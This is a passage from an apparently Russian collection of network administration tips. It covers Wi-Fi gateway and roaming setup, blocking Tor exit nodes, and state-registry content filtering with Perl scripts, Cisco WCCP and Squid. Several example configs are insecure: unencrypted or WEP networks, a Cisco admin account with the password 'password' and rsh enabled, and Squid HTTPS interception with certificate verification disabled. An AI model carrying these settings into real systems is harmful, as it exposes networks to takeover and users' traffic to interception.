    3. Перегружаемся и проверяем. Все должно работать.
    
     
    ----* Настройка Linux как Wifi шлюза для КПК (доп. ссылка 1)   Автор: Михаил Конник  [комментарии]
     
    Linux шлюз:
    
    Нужно создать простую одноранговую ad-hoc сеть и дать статический IP-адрес
    сетевому беспроводному интерфейсу.
    После этого делаем NAT и всё работает. Для беспроводного интерфейса eth3 и 
    сети с идентификатором virens команда выглядит так (от рута):
    
       # iwconfig eth3 mode Ad-Hoc channel 1 essid virens
    
    В /etc/network/interfaces пишем что-то вроде:
    
       auto eth3
       iface eth3 inet static
       address 10.106.146.1
       netmask 255.255.255.0
       wireless-mode ad-hoc
       wireless-channel 1
       wireless-rate auto
       wireless-essid virens
    
    Теперь делаем NAT:
    
       # echo 1 > /proc/sys/net/ipv4/ip_forward
       # iptables -t nat -A POSTROUTING --out-interface eth1 -j MASQUERADE
    
    При этом eth1 это интерфейс, который подключён к Интернету. 
    Соединение не шифруется.
    
    
    КПК:
    
    Необходимо задать essid - такой же, какой дали в iwconfig. 
    Шифрование отсутствует, тип сети - одноранговая ad-hoc. 
    Снимаем галку "Получать IP-адрес автоматически" и вводим адреса:
    
       IP-адрес: 10.106.146.2
       Маска подсети: 255.255.255.0
       Маршрутизатор: 10.106.146.1
    
     
    ----* Подключение к беспроводной сети под Linux (доп. ссылка 1)   [комментарии]
     
    0. Убеждаемся, что наш беспроводной адаптер в списке поддерживаемых в Linux
    (http://www.linux-wlan.org/docs/wlan_adapters.html.gz)
    на сайте http://www.linux-wlan.org/
    
    1. Подгружаем модуль ядра: insmod prism2_usb
    
    2. Активируем wlan0
       wlanctl-ng wlan0 lnxreq_ifstate ifstate=enable
    
    3. Устанавливаем SSID для используемой сети
       wlanctl-ng wlan0 lnxreq_autojoin ssid=stayoutofmynet authtype=opensystem
    
    4. Выставляем атрибуты WEP
       wlanctl-ng wlan0 lnxreq_hostwep encrypt=true decrypt=true
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11PrivacyInvoked=true
    
    5. Используем WEP ключ
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11WEPDefaultKeyID=3
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11WEPDefaultKey3=12:34:56:78:9A
    
    6. Конфигурируем IP
       ifconfig wlan0 192.168.1.100 netmask 255.255.255.0 broadcast 192.168.1.255
       route add default gw 192.168.1.11
    
     
    ----* Настройка беспроводной 80211 карты под FreeBSD (доп. ссылка 1)   Автор: toxa  [комментарии]
     
    kldload bridge
    sysctl net.link.ether.bridge.enable="1"
    sysctl net.link.ether.bridge.config="wi0,fxp0"
    sysctl net.inet.ip.forwarding="1"
    ifconfig wi0 ssid toxawlan channel 11 media DS/11Mbps mediaopt hostap up stationname "toxawlan"
    
     
    ----* Бесшовная миграция (роуминг) Wi-Fi для клиентов Linux и Android (доп. ссылка 1) (доп. ссылка 2)   Автор: sfstudio  [комментарии]
     
    С wpa_supplicant из GIT теперь можно настроить в Linux прозрачную миграцию,
    позволяющую переключиться на другую точку доступа без разрыва соединений
    приложений, в том числе продолжается вещание мультикастовоего IPTV, а
    выполнение iperf в большинстве случаев не умирает, а лишь деградирует по
    скорости в момент миграции. При этом даже корректно отрабатывает вариант с
    несколькими AP в разных поддиапазонах 5ГГц.
    
    Для настройки роуминга потребуется (на примере Mageia Linux 5):
    
    1) wpa_supplicant из git. Можно взять подготовленный автором src.rpm
    
        wget http://wive-ng.sf.net/downloads/wpa_supplicant-2.6-1.mga5.src.rpm 
    
    и собрать командой
    
       rpmbuild --rebuild wpa_supplicant-2.6-1.mga5.src.rpm
    
    2) переключить его на использование nl80211 вместо wext, драйвер вашего
    wifi-модуля должен полностью поддерживать nl80211 (при использовании wext
    всегда будут долгие периоды реконнекта с потерей соединений пользовательских
    приложений) так как требуется, чтобы SME был на уровне wpa_supplicant.
    
    Большинство дистрибутивов по умолчанию использует WEXT, т.е. до сих пор далеко
    не все драйверы wifi, даже входящие в состав ядра, умеют nl80211 (iwlwifi точно
    умеют, ath*k тоже должны, в rt28xxx  по факту даже сканирование не работает).
    Проверить, что используется на данный момент, можно, посмотрев, с какими
    опциями запущен supplicant
    
       ps ax | grep wpa_supplicant 
    
    должен выдать что-то типа 
    
       25201 ? Ss 0:01 /usr/sbin/wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant.conf -D nl80211 -f /var/log/wpa_supplicant.log
    
    Для этого редактируем /etc/sysconfig/network-scripts/ifcfg-имя_интерфейса
    
    Важно установить:
    
       WIRELESS_WPA_DRIVER=nl80211
       WIRELESS_WPA_REASSOCIATE=no
       MII_NOT_SUPPORTED=yes
       USERCTL=yes
    
     В /etc/wpa_supplicant.conf везде отключаем рандомизацию MAC. Включаем фоновое сканирование:
    
       bgscan="simple:30:-60:200"
    
    Т.е. при уровне ниже -60 будем начинать время от времени "щупать эфир" на
    предмет наличия кандидатов для миграции и по возможности мигрировать. Вместо
    фонового сканирования можно было бы использовать данные из RRM, но этой логики
    в wpa_supplicant пока нет.
    
    
    Также следует обратить внимание на используемый DHCP-клиент. Важно, чтобы он не
    сбрасывал адрес на интерфейсе (иначе сбросится состояние соединений приложений)
    по сигналу от ifplugd. Я использую штатный "
    "Internet Systems Consortium DHCP Client 4.3.3-P1". Ну и естественно, точки
    доступа и опорная сеть должны нормально отрабатывать ситуацию с перемещением клиентов.
    
    В прошивке Wive-NG для этого сделано абсолютно всё, что возможно. Больше ничего
    не требуется. Проверено на адаптерах Intel I3160/I7260. Выпинывать их
    принудительно не надо - оно само инициирует переход без всяких проблем. Под
    Windows эти карты ведут себя аналогично, т.е. без проблем мигрируют с
    сохранением пользовательских соединений, достаточно лишь в настройках драйвера
    увеличить агрессивность роуминга.
    
    
    
    
    Настройка миграции Android-устройств с беспроводными чипами от Atheros/Qualcomm.
    
    
    Достаточно давно atheros/qualcomm добавили в свои драйверы вполне внятную
    логику handover (миграции внутри плоской L2 сети, с точки зрения клиента,  с
    множественными AP, на которых установлен один SSID). Собственно, тот самый
    роуминг, да ещё и бесшовный (ну если используемые AP не совсем плохи и умеют
    моментально передавать в опорную сеть критичные данные, например, ARP-ы для
    обновления ARP-таблиц на устройствах в сети + ещё ряд условий на тему кривости).
    
    Теперь о проблеме. Handover есть, сеть с нормальными AP есть, но чтобы клиент
    мигрировал, по-прежнему требуется пинок, иначе висит до последнего... Что
    делать и кто виноват?
    
    Для продолжения нужно само устройство, обязательно рутованное, обязательно
    использующее радио на чипе qualcomm (например yota phone 2).
    
    Перемонтируем разделы в RW, идём в /system/etc/wifi, видим там файл
    WCNSS_qcom_cfg.ini - собственно, это основной конфигурационный файл, читаемый
    драйвером wifi.
    
    Драйверы QCA сами реализуют слои SME/MLME, не экспортируя эти функции на плечи
    wpa_supplicant. И вся логика управления подключениями и миграцией возложена на
    них. Wpa_supplicant в Android собран с NO_ROAMING, а значит можно ожидать, что
    это сделано так же у всех абсолютно чипмэйкеров для Android (файлы
    конфигурации, естественно, разные, или же, как у Broadcom, интересующие нас
    параметры к исправлению задаются при компиляции, и изменить их на лету невозможно).
    
    Первая настройка, которая нас будет интересовать в файле конфигурации, это:
    
       # default value of this parameter is zero to enable dynamic threshold allocation
       # to set static roming threshold uncomment below parameter and set vaule
    
       gNeighborLookupThreshold=78
    
    Эта настройка напрямую отвечает за то, когда клиент начнёт пытаться искать
    кандидата (форсирует сканирование, или запросит список ближайших AP по RRM и
    проведёт короткую процедуру скана для подтверждения).  И значение у нас
    выставлено -78дБ...
    
    И вроде бы всё хорошо, но... Мы как обычно забыли, что то, что слышит клиент и
    то, что слышит AP, может отличаться по уровню на десятки дБ. Обычно в
    android-клиентах передатчик в 20МГц полосе может выдать 16дБм, в 40МГц в лучшем
    случае 14дБм. Тогда как со стороны AP обычно имеем как минимум 20дБм дури даже
    в 40МГц полосе (обычно определяется законодательными ограничениями конкретной
    страны, для РФ 20дБм в 2.4ГГц и 23дБм в 5ГГц независимо от ширины, хоть в 80МГц
    эти 23дБм, хоть в 20МГц). Из опыта, при таком раскладе в среднем перекос по
    уровням в прямой видимости уже в 10 метрах будет составлять около 10-15 Дб, а
    если есть преграды, то запросто перевалит и за 30 Дб.
    
    Но возьмём 10дБ для простоты. Т.е. когда клиент видит AP с уровнем в -78дБ, AP
    видит клиента уже с уровнем около -88дБ. Стоит говорить, что нормальной работы
    при таком раскладе уже не будет (особенно в 2.4ГГц в зашумленном эфире офиса)?
    TCP, требующий подтверждения доставки, просто встанет колом, голос начнёт
    квакать и т.д.
    
    Что бы этого избежать (плюс приземлить побольше клиентов, ведь для этого надо
    заставить всех работать на самой ближней AP, желательно с максимальными рэйтами
    и без повторов передачи), админ в сети наверняка на AP настроил handoff с
    уровнем эдак в -75дБ. Т.е. при -75дБ RSSI handoff со стороны AP застрелит
    такого клиента (при этом на клиенте уровень от AP будет аж -65дБ, т.е. далеко
    до заветных -78дБ, когда он решит подумать мигрировать). Т.е. будет link beat,
    сброс стэйтов и обрыв соединений на пользовательской стороне.
    
    Ещё пример - когда AP видит клиента с уровнем в -75дБ, клиент видит AP с
    уровнем -65дБ!! Или, когда на клиенте видим -78дБ, то со стороны AP клиент
    будет слышен лишь с  уровнем -88дБ.
    
    Т.е. что бы обеспечить нормальный сервис, мы должны отстреливать клиента сильно
    раньше, чем он сам подумает мигрировать (имеется в виду, с вышеозначенными
    умолчаниями в драйвере).
    
    Или же нам придётся снижать мощность на AP что бы "уравнять" шансы, что в
    условиях грязного эфира может привести к катастрофическому падению SNR и как
    следствие бульканью, хрипам и прочему.
    
    А вот чтобы этого не происходило, достаточно выше обозначенную переменную
    поправить, выставив значение в диапазоне -65 ~ -70дБ.
    
    Побочный эффект - чуть упадёт скорость у клиента, так как чаще будет
    выполняться фоновые сканирования, плюс незначительно вырастет
    энергопотребление. Зато у него "будет повод" начать смотреть, кто есть вокруг,
    и попытаться мигрировать, не дожидаясь, пока его выпнет точка доступа.
    
    Следующий блок:
    
       # CCX Support and fast transition
     
       CcxEnabled=0
       FastTransitionEnabled=1
    
    
    CcxEnabled - это поддержка rrm ccx location-measurement, т.е. определения
    местоположения. Зачастую бесполезна и лишь будет расходовать аккумулятор.
    
    FastTransitionEnabled - поддержка 802.11R, однако в старых драйверах не полная,
    но хотя бы умеет учитывать MDIE при миграции (работает всегда, если переменная
    в значении 1). Заметим, что FT, а именно ускорение фазы аутентификации просто
    при взводе значения переменной в 1 работать не начнёт, так как требуется ещё
    пропатчить Supplicant  и обвязку андроидную (как это делает, например, Samsung
    в своих топовых моделях). Однако, учёт MDIE - уже польза. Включаем.
    
    Не забываем также отключить 802.11d,  иначе встретим много чудес в 5ГГц с DFS
    каналами. Пусть использование или не использование оных лежит на совести админа сети.
    
       # 802.11d support
    
       g11dSupportEnabled=0
    
    Далее блок:
    
       # Legacy (non-CCX, non-802.11r) Fast Roaming Support
       # To enable, set FastRoamEnabled=1
       # To disable, set FastRoamEnabled=0
    
       FastRoamEnabled=1
    
    Включает возможность миграции в любых сетях. Иначе, логика  handover будет
    активироваться, только если клиент видит, что AP вещает поддержку 802.11R в
    IECAP. И/или используется WPA*-Enterprise.
    
    
    В новых драйверах, поставляемых в SDK для Android 6.0.1, добавлена ещё одна прекрасная опция:
    
       # Handoff Enable(1) Disable(0)
    
       gEnableHandoff=0
    
    Эта опция (если выставить в 1) позволяет обрабатывать handoff с пинком со
    стороны AP как сигнал к миграции, т.е. банально не генерируется LinkBeat при
    kickout со стороны AP, а сразу выполняется попытка перескочить на следующую
    подходящую выбранную сканом AP, и только если не получилось сгенерировать Link
    Beat системе (т.е. о том, что его выпнули (kickout), знает только драйвер, и
    сразу пытается мигрировать, если не получается, то тогда уже сообщает системе,
    что всё, связи с этой сетью больше нет, надо выбрать другой SSID из тех,
    которые знает Android).
    
    Пользовательские соединения при этом останутся целыми (ну разве что iperf
    пострадает, но мессенджеры и голос останутся работать, правда в случае голоса
    будет квак).
    
    Это слегка нарушает "стандарт" 802.11, но в случае миграции очень полезная
    штука. После её включения, устройство прозрачно (с точки зрения запущенных
    приложений) сможет мигрировать даже в сетях, где весь роуминг построен
    исключительно на отстрелах клиента по уровню.
    
    А вот ещё одна крайне полезная настройка:
    
       #Check if the AP to which we are roaming is better than current AP in terms of RSSI.
       #Checking is disabled if set to Zero.Otherwise it will use this value as to how better
       #the RSSI of the new/roamable AP should be for roaming
    
       RoamRssiDiff=5
    
    Дельта уровней между AP для выбора кандидата при миграции. Больше значение -
    меньше вероятность прилететь назад на ту же AP, но более отложенный старт
    миграции. Установленных по умолчанию 5дБ  маловато. Нужно иметь дельту около
    8-10дБ. Для начала выставим 8.
    
       RoamRssiDiff=8
    
    Ещё интересная штука:
    
       #Beacon Early Termination (1 = enable the BET feature, 0 = disable)
    enableBeaconEarlyTermination=1
    
       beaconEarlyTerminationWakeInterval=11
    
    Эта опция откидывает все маяки, если в этих фрэймах  не взведён бит TIM, а
    клиент спит. Т.е. во сне клиент не может вести пассивный сбор данных о соседних
    AP. Хорошо для аккумулятора - вероятно, плохо для миграции (надо глубже копать драйвер).
    
       gActiveMaxChannelTime=60
       gActiveMinChannelTime=30
       gActiveMaxChannelTimeConc=60
       gActiveMinChannelTimeConc=30
    
    Настройки времени прослушивания эфира при активном сканировании поканально, в
    мс. Больше значения - больше времени уйдёт на сканирование всего диапазона.
    Меньше время - быстрее просканируем, но можем половину не услышать.
    
    RRM включается так:
    
       # 802.11K support
       gRrmEnable=1
       gRrmOperChanMax=8
       gRrmNonOperChanMax=8
       gRrmRandIntvl=100
    
    Правда, я на доступных мне железках (в смысле, на тех, в которых было выключено
    и включил, на SGS A5 2017 запросы есть, но там и так всё с миграцией
    более-менее) так и не дождался ни одного запроса с использованием RRM от Yota
    Phone. Видимо, отключена поддержка при сборке драйвера.
    
    Это основное, что касается миграции.
    
    Да и ещё:
    
       # 1: Enable standby, 2: Enable Deep sleep, 3: Enable Mcast/Bcast Filter
       gEnableSuspend=3
    
    По умолчанию обычно 0. В таком режиме клиент при переходе в режим сна (часто
    просто при выключении экрана) полностью тушит RF часть, временно просыпаясь
    только для того, чтобы AP его по таймауту не выпнула. При этом, реализация
    такова, что и роумингу зачастую становится плохо. Следует установить его в 3,
    т.е. фильтровать броадкасты и мультикасты во сне, и только.
    
    В файле конфигурации ещё много интересных параметов. Например, куча настроек
    для энергосбережения, если поотключать которые, миграция становиться более
    весёлой и точной, но батарея...
    
    Ну и на закуску:
    
       #Channel Bonding
       gChannelBondingMode24GHz=1
       gChannelBondingMode5GHz=1
       gShortGI20Mhz=1
       gShortGI40Mhz=1
    
    Поддержка широких каналов (>20МГц) + поддержка SGI. Зачастую для 2.4ГГц
    поддержка 40МГц отключена, т.е. gChannelBondingMode24GHz установлен в 0. Что,
    во-первых, не позволяет работать на максимальных рэйтах (150Мбит/с для 1T1R в
    2.4ГГц при 40МГц, будет только 72). Увы, проблема в том, что видимо для первого
    соединения значение перекрывается откуда-то ещё, и даже выставив
    gChannelBondingMode24GHz=1, сразу мы 150Мбит/с не видит. Но после первой же
    миграции драйвер плюёт на всех и взлетает в 40МГц полосе.
    
    Также установка gChannelBondingMode24GHz решает проблему совместимости с
    некоторыми 2.4ГГц AP на Xiaomi и One+ (как обычно, намутили с анонсами в
    зависимости от региона, в итоге AP и клиент не могут договориться, в какой
    полосе разговаривать).
    
    Не забываем после правки сохранить, перемонтировать назад системный раздел в RO и перезагрузиться.
    
     

       Ограничение трафика

    ----* Как заблокировать вход пользователей, работающих через сеть Tor   [комментарии]
     
    Список точек выхода сети Tor, с которых инициируются исходящие соединения,
    можно загрузить на официальном сайте проекта Tor:
    
       https://check.torproject.org/cgi-bin/TorBulkExitList.py
    
    или используя неофициальные архивы:
    
       http://torstatus.info/ip_list_all.php/Tor_ip_list_ALL.csv
       https://www.dan.me.uk/torlist/
    
    
    По указанным адресам выдаются списки IP-адресов, которые можно использовать для
    блокирования межсетевым экраном/HTTP-сервером или привязки метки через модуль geo_ip.
    
    Пример блокирования через ipfw:
    
       ipfw table 1 flush 
       curl https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8 | grep -v "^#" | while read cnt ip; do
          /sbin/ipfw table 1 add $ip 1
       done
       ipfw add deny all from "table(1)" to any via em1
    
    Для выставления флага через модуль ngx_http_geo_module в nginx:
    
       curl https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8 | 
          grep -v "^#" |  sed 's/$/ tor;/' > /usr/local/etc/nginx/tor.conf 
    
    в nginx.conf:
    
       geo  $country  {
    	include          /usr/local/etc/nginx/tor.conf
       }
    
    далее для блокировки можно добавить проверку:
       if ($country = 'tor') {
    	...
       }
    
     
    ----* Построение системы фильтрации контента по реестру Роскомнадзора на базе CISCO и FreeBSD (доп. ссылка 1)   Автор: Пережилин Юрий  [комментарии]
     
    В статье подробно рассмотрен один из вариантов фильтрации трафика по реестру
    Роскомнадзора с помощью SQUID на базе FreeBSD, состыкованного с бекбоне CISCO
    по протоколу WCCP2.
    
    После долгих размышлений на тему фильтрации, производительности (если пустить в
    фильтр весь http-трафик, то фильтрация должна осуществляться на скоростях более
    гигабита в секунду), была выбрана следующая схема:
    
    
    
    Трафик HTTP и HTTPS, выходящий из облака нашей сети (в примере VLAN90) через
    наш бордер CISCO, мы будем сравнивать с ACL, содержащим IP-адреса, извлеченные
    из списка Роскомнадзора. В случае совпадения, мы отправляем трафик по протоколу
    WCCP (Web Cache Communication Protocol) на сервер(а)  SQUID. Данная схема
    позволит нам избежать анализа всего трафика и анализировать только тот, который
    идет на заявленные IP, что не может не сказаться положительно на общей
    производительности системы.
    
    Из минусов данной связки следует, что допустим если внесенный в реестр ресурс с
    IP=3.3.3.3, доменом=bad.xxx и URL=http://www.bad.xxx/1.jpg переезжает на другой
    IP, то фильтр работать не будет. Но с другой стороны актуализация списков
    блокировки, это не наша проблема. Данный подход позволит нам с одной стороны не
    тратится на дорогостоящие системы анализа проходящего трафика, с другой стороны
    исключить "пионерский" подход блокировки всего ресурса по IP, а
    блокировать только указанный в реестре Роскомнадзора контент. Связку по WCCP
    лучше поднимать на приватных адресах, что бы не писать лишние ACL в SQUID .
    
    И так, приступим к реализации. Для начала нам надо вытащить электронную подпись
    с рутокена, полученного в роскомнадзоре. Для этого воспользуемся утилитой
    P12FromGostCSP, и экспортируем подпись в формате PKSC#12.
    
    
    
    Если экспорт удался, то можем перейти далее к построению системы. Если экспорт
    не удался (у меня в одном случае из четырех было именно так), то автоматическая
    загрузка реестра Роскомнадзора будет не доступна, и Вам придется файл качать и
    выкладывать реестр руками.
    
    Берем любой сервер на базе FreeBSD (я предпочитаю данную ОС, но ничего не
    мешает Вам сделать по образу и подобию на любой *NIX машине), на котором мы
    будем заниматься загрузкой базы Роскомнадзора, ее обработкой и у меня этот же
    сервер как правило обеспечивает анализ и фильтрацию контента. Так как системный
    OpenSSL в FreeBSD не поддерживает шифрование ГОСТ, ставим свежую версию из
    портов. Это не затрагивает работоспособность всей системы, и портовый OpenSSL
    прекрасно существует параллельно системному:
    
       # which openssl
       /usr/bin/openssl
       # openssl version
       OpenSSL 0.9.8y 5 Feb 2013
       # /usr/local/bin/openssl version
       OpenSSL 1.0.1e 11 Feb 2013
       #
    
    Находим файл /usr/local/openssl/openssl.cnf и пишем в конец файла:
    
       [openssl_def]
       engines = engine_section
       [engine_section]
       gost = gost_section
       [gost_section]
       default_algorithms = ALL
       engine_id = gost
       #dynamic_path = /usr/local/lib/engines/libgost.so
       CRYPT_PARAMS = id-Gost28147-89-CryptoPro-A-ParamSet
       
    В начало этого файла пишем :
    
       openssl_conf = openssl_def
    
    Копируем на сервер наш сертификат в формате PKSC#12 и конвертируем его в формат PEM:
    
       /usr/local/bin/openssl pkcs12 -in p12.pfx -out cert.pem -nodes -clcerts
    
    Подготавливаем структуру директорий для работы наших скриптов и копируем туда
    сконвертированный сертификат:
    
       mkdir /var/db/zapret-info/
       mkdir /var/db/zapret-info/cfg
       mkdir /var/db/zapret-info/arch
       cp cert.pem /var/db/zapret-info/cfg/
       mkdir /tftpboot
    
    Создаем файл запрос в соответствии с требованиями Роскомнадзора (где данные
    между тэгами изменены на данные вашей фирмы):
    
       echo '<operatorName>ООО "РОГА И КОПЫТА"</<operatorName>' > /var/db/zapret-info/cfg/request.xml
       echo '<inn>00XXXXXXXXXX</inn>' >> /var/db/zapret-info/cfg/request.xml 
       echo '<ogrn>XXXXXXXXXXXXX</ogrn>' >> /var/db/zapret-info/cfg/request.xml
       echo '<email>info@rogaikopita.ru</email>' >> /var/db/zapret-info/cfg/request.xml
    
    В зависимости от раскладок системной консоли полученный файл
    /var/db/zapret-info/cfg/request.xml необходимо сконвертировать в кодировку WINDOWS-1251.
    
    Скачиваем нижеприложенные скрипты. Скрипт download.pl был найден мной на
    просторах Интернета и  упрощен, в оригинале он был чуток более замороченный.
    Задача данного скрипта - создать, подписать и отправить запрос в
    Роскомнадзор и загрузить реестр после отправки.
    
    
       #!/usr/bin/perl -w
    
       use strict;
       use SOAP::Lite;
       use MIME::Base64;
       use Sys::Syslog qw(:DEFAULT setlogsock);
       use POSIX qw(strftime);
    
       # XXX dirty!!!
       binmode STDOUT, ':utf8';
       binmode STDERR, ':utf8';
    
    
       my $BASE = "/var/db/zapret-info";
    
       my %n;
       ($n{sec},$n{min},$n{hour},$n{mday},$n{mon},$n{year},$n{wday},$n{yday},   $n{isdst}) = localtime(time());
       $n{year}+=1900;
       $n{mon}++;
       $n{mon}=~s/^(\\d)$/0$1/;
       $n{mday}=~s/^(\\d)$/0$1/;
       $n{hour}=~s/^(\\d)$/0$1/;
       $n{min}=~s/^(\\d)$/0$1/;
       $n{sec}=~s/^(\\d)$/0$1/;
       my $dt="$n{year}-$n{mon}-$n{mday}T$n{hour}:$n{min}:$n{sec}.000+04:00";
       my $dd="$n{year}$n{mon}$n{mday}$n{hour}";
    
       my $service = SOAP::Lite->service("http://www.zapret-info.gov.ru/services/OperatorRequest?wsdl");
    
       my $reqfn = "$BASE/request-$dd.xml";
       my $binfn = "$BASE/request-$dd.bin";
       my $xmlreqfn = "$BASE/cfg/request.xml";
       my $certfn = "$BASE/cfg/cert.pem";
    
       my $request="" ;
       open (XML, "<$xmlreqfn");
       while (<XML>) { $request .= $_; }
       close (XML);
    
       die "Resuest template not found in $xmlreqfn." if (length($request)==0);
    
       open (XMLREQ, ">$reqfn") or die "Can't create new request";
       print XMLREQ "<?xml version=\\"1.0\\" encoding=\\"windows-1251\\"?>\\n";
       print XMLREQ "<request>\\n\\t<requestTime>$dt</requestTime>\\n";
       print XMLREQ $request;
       print XMLREQ "</request>";
       close XMLREQ;
    
       system ("/usr/local/bin/openssl smime -sign -in $reqfn -out $binfn".
                " -signer $certfn -outform DER -nodetach");
    
    
       open XMLREQ, "<$reqfn" or die "Can't open $reqfn";
       my $xmlreq = do { local $/ = undef; <XMLREQ>; };
       close XMLREQ;
    
       open XMLREQSIG, "<$binfn" or die "Can't open $binfn";
       my $xmlreqsig = do { local $/ = undef; <XMLREQSIG>; };
       close XMLREQSIG;
    
       my @sendresult = $service->sendRequest(
            $xmlreq,
            $xmlreqsig );
    
       if ($sendresult[0] eq 'false') {
           mylog("error request $sendresult[1]");
       } elsif ($sendresult[0] eq 'true') {
           open (CODESTRING, ">$BASE/codestring");
           print CODESTRING $sendresult[2];
           close CODESTRING;
           mylog("sent request $binfn: $sendresult[1]");
       };
    
       if (-e "$BASE/codestring") {
           open CODESTRING, "$BASE/codestring";
           my $codestring = <CODESTRING>;
           close CODESTRING;
    
           my $cnt = 0;
           while(1) {
               my @getresult = $service->getResult($codestring);
               if ($getresult[0] eq 'false') {
                   mylog ("$getresult[1]");
                   sleep 60;
               } elsif ($getresult[0] eq 'true') {
                   my $outarch = decode_base64($getresult[1]);
                   open (OUT, ">$BASE/out.zip");
                   print OUT $outarch;
                   close OUT;
                   unlink "$BASE/codestring";
    
                   if (-e "$BASE/out.zip") {
                       system("/bin/mv $reqfn $BASE/arch/");
                       system("/bin/mv $binfn $BASE/arch/");
                       system("/bin/cp $BASE/out.zip $BASE/arch/out-$dt.zip");
                       system("/usr/bin/unzip -o $BASE/out.zip -d $BASE/dump");
                       unlink "$BASE/out.zip";
                       mylog ("Done.  Everything seems to be ok.");
                       exit 0;
                   };
                   mylog("Shouldn't reach. DEBUG ME!!!");
                   exit 255;
               } else {
                   mylog ("getresult is unknown");
                   exit 255;
               };
               $cnt++;
               if ($cnt>30) {
                   mylog ("too much tries, bailing out");
                   exit 255;
               }
               };
               # notreached
       
       } else {
               mylog ("codestring file not found");
       };
       
       sub mylog {
           my $logstring = $_[0];
           my($now_string);
           $now_string = strftime "%d-%m-%Y %H:%M:%S", localtime;
           print(STDERR $now_string." ".$logstring."\\n");
       };
    
       
    В задачи скрипта xml-paser.pl входит обработка полученного реестра и подготовка
    двух файлов - block.acl и denied.conf. Файл block.acl содержит правила
    для нашей cisco и как правило загружается по tftp. Файл denied.conf содержит
    URL для редиректора SQUID. Скрипт анализирует, префикс http или https указан в
    URL и в соотвествии с данным префиксом генерирует ACL для CISCO. Для ресурсов с
    множественныйми IP и/или URL, скрипт генерирует два ACL - как по порту
    www, так и по порту 443 (так как реестр сам по себе сырой, и такие записи не
    предусматривают однозначной трактовки какой протокол на каком IP использовать).
    
    
    
       #!/usr/bin/perl
       
       use XML::Simple;
       use Data::Dumper ;
       use Encode ;
       use URI::Escape;
       use Text::Iconv;
       
       $db_path='/var/db/zapret-info/' ;
       $tftp_root='/tftpboot' ;
       $query_ip='XXX.XXX.XXX.XXX' ;
       
       $simple=XML::Simple->new(       KeepRoot=>1,
                                       RootName=>'reg:register'
       );
       $xml=$simple->XMLin($db_path.'dump/dump.xml');
       my %list = %{$xml->{'reg:register'}->{'content'}};
       
       open(FURL, ">${db_path}denied.conf");
       open(FACL, ">${tftp_root}/block.acl");
       open(FTMP, ">/tmp/block.ip");
       print(FACL "no ip access-list extended WCCP_REDIRECT\\n");
       print(FACL "ip access-list extended WCCP_REDIRECT\\n");
       print(FACL "deny tcp host ${query_ip} any\\n");
       
       sub _url {
           eval {
               $url=shift;
               $url=~s/ //g;
               $url=uri_escape_utf8($url, "^A-Za-z0-9\\-\\._~:/\\?\\=\\&\\%");
               print(FURL $url."\\n");
           }
       }
       
       while ( my($key, $value) = each %list) {
           my $domain=$value->{'domain'} ;
           my $ip=$value->{'ip'} ;
           my $url=$value->{'url'} ;
       
           if(ref($ip) eq 'ARRAY'){
               my @ip_list=@{$ip};
               foreach $ip (@ip_list) {
                   print(FTMP "$ip eq $port\\n");
                   print(FTMP "$ip eq 443\\n");
               }
           } else {
               my $proto=substr($url, 0, 5) ;
               if ("\\L$proto" eq 'https') {
                   $port = '443';
               } else {
                   $port = 'www';
               }
               print(FTMP "$ip eq $port\\n");
           }
       
           if(ref($url) eq 'ARRAY'){
               my @url_list=@{$url};
               foreach $url (@url_list) { _url($url); }
           } else { _url($url); }
       }
       
       close(FTMP);
       open(FTMP ,"sort -u /tmp/block.ip|");
       while (<FTMP>) {
           $ip=$_;
           $ip=~s/
       //g;
           print(FACL "permit tcp any host $ip \\n");
       }
       close(FTMP);
       print(FACL "deny ip any any\\n");
       print(FACL "!\\n");
       print(FACL "end\\n");
       close(FACL);
       close(FURL);
       
       open(SER ,"${db_path}/serial");
       read(SER,$serial,6);
       close(SER);
       
       if (length($serial)==0) { $serial=0; }
       
       $serial+=1;
       
       open(SER ,">${db_path}/serial");
       printf(SER "%06d",$serial);
       close(SER);
       
       exit 0;
       
    
    В начале данного файла надо установить значение переменных, в соответсвии с
    Вашими настройками. Переменная $tftp_root должна быть установлена в
    соответствии с настройками Вашего tftp-сервера, переменная $query_ip должна
    содержать  IP-адрес интерфейса сервера, через который посылается в Интернет
    фильтрованный трафик, для исключения образования кольцевой обработки запросов.
    
    Для работы скриптов нам требуется установить следующие порты :
    
       cd /usr/ports/net/p5-SOAP-Lite; make install 
       cd /usr/ports/converters/p5-MIME-Base64; make install
       cd /usr/ports/sysutils/p5-Sys-Syslog; make install
       cd /usr/ports/textproc/p5-XML-Simple; make install
       cd /usr/ports/devel/p5-Data-Dumper; make install
       cd /usr/ports/converters/p5-Encode; make install
       cd /usr/ports/net/p5-URI; make install
       cd /usr/ports/converters/p5-Text-Iconv; make install
    
    На данном этапе мы реализовали получение и разбор реестра Роскомнадзора в
    требуемый для нас вид. Переходим к настройке нашего железа.
    
    Конфигурируем CISCO для работы с сервером SQUID по WCCP. Группа 0 используется
    для отсылки http-трафика, группа 70 - для отсылки https-трафика.
    
       ip wccp 0 redirect-list WCCP_REDIRECT group-list 10 accelerated
       ip wccp 70 redirect-list WCCP_REDIRECT group-list 10 accelerated
       access-list 10 remark +++ WCCP_SQUID_PROXY +++
       access-list 10 permit 1.1.2.2
    
    Создаем пользователя, который будет грузить access-листы и настраиваем rsh.
    
       username blocker privilege 15 password password
       no ip rcmd domain-lookup
       ip rcmd rsh-enable
       ip rcmd remote-host blocker 1.1.2.2 root enable
    
    Ставим из портов SQUID. При выборе опций обязательно контролируем, что WCCP и
    WCCP2 протоколы включены. Создаем конфиг (в примере для версии 3.2) /usr/local/etc/squid/squid.conf
    
       http_port 1.1.2.2:9090
       http_port 1.1.2.2:3128 transparent
       https_port 1.1.2.2:3129 transparent ssl-bump generate-host-certificates=on dynamic_cert_mem_cache_size=4MB cert=/usr/local/etc/squid/squid.pem
       always_direct allow all
       ssl_bump allow all
       sslproxy_cert_error allow all
       sslproxy_flags DONT_VERIFY_PEER
       sslcrtd_program /usr/local/libexec/squid/ssl_crtd -s /var/squid/ssl_db -M 4MB
       icp_port 0
       hierarchy_stoplist cgi-bin ?
       acl QUERY urlpath_regex cgi-bin \\?
       cache deny QUERY
       acl apache rep_header Server ^Apache
